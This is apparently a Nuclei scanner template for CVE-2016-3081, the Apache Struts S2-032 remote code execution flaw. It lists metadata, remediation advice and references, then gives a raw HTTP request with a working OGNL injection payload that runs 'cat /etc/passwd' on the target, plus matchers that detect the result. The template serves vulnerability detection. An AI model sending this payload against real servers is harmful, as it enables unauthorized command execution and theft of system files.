48 lines
2.1 KiB
YAML
48 lines
2.1 KiB
YAML
id: CVE-2016-3081
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info:
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name: Apache S2-032 Struts - Remote Code Execution
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author: dhiyaneshDK
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severity: high
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description: |
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Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).
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impact: |
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Remote code execution
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remediation: |
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Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.
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reference:
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- https://cwiki.apache.org/confluence/display/WW/S2-032
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- https://struts.apache.org/docs/s2-032.html
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- https://nvd.nist.gov/vuln/detail/CVE-2016-3081
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- http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665
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- http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.1
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cve-id: CVE-2016-3081
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cwe-id: CWE-77
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epss-score: 0.97524
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epss-percentile: 0.99989
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cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: struts
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tags: cve,cve2016,struts,rce,apache
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http:
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- raw:
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- |
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GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502204b3f24fac8ad7e6ba5afae75c8936e7a39429255f8d9c7ec4fe849b7ef43db3f022100da3fef226f57f81f1761c6b8bae43517e38284716a3a32657453c7e23e5de09a:922c64590222798bb761d5b6d8e72950 |